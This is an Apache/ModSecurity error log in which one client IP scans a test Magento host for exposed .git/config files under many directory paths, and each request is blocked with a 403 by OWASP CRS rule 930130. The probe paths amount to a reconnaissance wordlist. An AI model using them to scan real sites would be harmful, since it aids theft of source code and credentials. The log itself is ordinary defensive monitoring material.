[Sat May 25 00:07:45.969257 2024] [authz_core:error] [pid 3454965] [client 91.215.85.43:49956] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.git
[Sat May 25 00:07:46.024603 2024] [:error] [pid 3454968] [client 91.215.85.43:49942] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKigAAAAQ"]
[Sat May 25 00:07:46.025275 2024] [:error] [pid 3454968] [client 91.215.85.43:49942] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKigAAAAQ"]
[Sat May 25 00:07:46.025680 2024] [:error] [pid 3454968] [client 91.215.85.43:49942] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKigAAAAQ"]
[Sat May 25 00:07:46.031199 2024] [:error] [pid 3454964] [client 91.215.85.43:49972] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/flock/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRAAAAAA"]
[Sat May 25 00:07:46.031766 2024] [:error] [pid 3454964] [client 91.215.85.43:49972] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/flock/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRAAAAAA"]
[Sat May 25 00:07:46.032196 2024] [:error] [pid 3454964] [client 91.215.85.43:49972] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/flock/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRAAAAAA"]
[Sat May 25 00:07:46.034396 2024] [:error] [pid 3455036] [client 91.215.85.43:50048] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/a/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDdwAAAAY"]
[Sat May 25 00:07:46.034674 2024] [:error] [pid 3455036] [client 91.215.85.43:50048] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/a/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDdwAAAAY"]
[Sat May 25 00:07:46.034854 2024] [:error] [pid 3455036] [client 91.215.85.43:50048] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/a/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDdwAAAAY"]
[Sat May 25 00:07:46.035477 2024] [:error] [pid 3454966] [client 91.215.85.43:49984] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/gateway/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMAAAAAI"]
[Sat May 25 00:07:46.035706 2024] [:error] [pid 3454966] [client 91.215.85.43:49984] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/gateway/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMAAAAAI"]
[Sat May 25 00:07:46.035890 2024] [:error] [pid 3454966] [client 91.215.85.43:49984] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/gateway/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMAAAAAI"]
[Sat May 25 00:07:46.040640 2024] [:error] [pid 3454974] [client 91.215.85.43:49998] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsAAAAAU"]
[Sat May 25 00:07:46.040916 2024] [:error] [pid 3454974] [client 91.215.85.43:49998] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsAAAAAU"]
[Sat May 25 00:07:46.041093 2024] [:error] [pid 3454974] [client 91.215.85.43:49998] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsAAAAAU"]
[Sat May 25 00:07:46.058005 2024] [:error] [pid 3454967] [client 91.215.85.43:50034] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v2/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLAAAAAM"]
[Sat May 25 00:07:46.058261 2024] [:error] [pid 3454967] [client 91.215.85.43:50034] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v2/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLAAAAAM"]
[Sat May 25 00:07:46.058454 2024] [:error] [pid 3454967] [client 91.215.85.43:50034] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v2/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLAAAAAM"]
[Sat May 25 00:07:46.070875 2024] [:error] [pid 3454965] [client 91.215.85.43:50012] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/git/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvQAAAAE"]
[Sat May 25 00:07:46.071479 2024] [:error] [pid 3454965] [client 91.215.85.43:50012] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/git/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvQAAAAE"]
[Sat May 25 00:07:46.071933 2024] [:error] [pid 3454965] [client 91.215.85.43:50012] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/git/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHvQAAAAE"]
[Sat May 25 00:07:46.131151 2024] [:error] [pid 3454966] [client 91.215.85.43:50060] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMQAAAAI"]
[Sat May 25 00:07:46.131661 2024] [:error] [pid 3454966] [client 91.215.85.43:50060] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMQAAAAI"]
[Sat May 25 00:07:46.135160 2024] [:error] [pid 3454964] [client 91.215.85.43:50020] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v2/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRQAAAAA"]
[Sat May 25 00:07:46.135454 2024] [:error] [pid 3454964] [client 91.215.85.43:50020] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v2/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRQAAAAA"]
[Sat May 25 00:07:46.135693 2024] [:error] [pid 3454964] [client 91.215.85.43:50020] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v2/.git/config"] [unique_id "ZlEPsjMOA-cOmjeocxfqRQAAAAA"]
[Sat May 25 00:07:46.138018 2024] [:error] [pid 3454974] [client 91.215.85.43:50076] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/live/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsQAAAAU"]
[Sat May 25 00:07:46.138258 2024] [:error] [pid 3454974] [client 91.215.85.43:50076] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/live/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsQAAAAU"]
[Sat May 25 00:07:46.138448 2024] [:error] [pid 3454974] [client 91.215.85.43:50076] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/live/.git/config"] [unique_id "ZlEPshUJ1bxTE5JrLaVUsQAAAAU"]
[Sat May 25 00:07:46.139548 2024] [:error] [pid 3455036] [client 91.215.85.43:50052] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v3/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDeAAAAAY"]
[Sat May 25 00:07:46.139792 2024] [:error] [pid 3455036] [client 91.215.85.43:50052] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v3/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDeAAAAAY"]
[Sat May 25 00:07:46.140008 2024] [:error] [pid 3455036] [client 91.215.85.43:50052] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v3/.git/config"] [unique_id "ZlEPsltHyu1z9KawtltDeAAAAAY"]
[Sat May 25 00:07:46.142524 2024] [:error] [pid 3454966] [client 91.215.85.43:50060] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.git/config"] [unique_id "ZlEPsnMB5Kx7mvcePW3JMQAAAAI"]
[Sat May 25 00:07:46.144781 2024] [:error] [pid 3454968] [client 91.215.85.43:50050] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKiwAAAAQ"]
[Sat May 25 00:07:46.145286 2024] [:error] [pid 3454968] [client 91.215.85.43:50050] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKiwAAAAQ"]
[Sat May 25 00:07:46.145691 2024] [:error] [pid 3454968] [client 91.215.85.43:50050] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/.git/config"] [unique_id "ZlEPsglXNER1zYR0SlIKiwAAAAQ"]
[Sat May 25 00:07:46.157165 2024] [:error] [pid 3454967] [client 91.215.85.43:50084] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/__MACOSX/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLQAAAAM"]
[Sat May 25 00:07:46.157375 2024] [:error] [pid 3454967] [client 91.215.85.43:50084] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/__MACOSX/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLQAAAAM"]
[Sat May 25 00:07:46.157576 2024] [:error] [pid 3454967] [client 91.215.85.43:50084] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/__MACOSX/.git/config"] [unique_id "ZlEPsuei6jPvGXK9s14eLQAAAAM"]
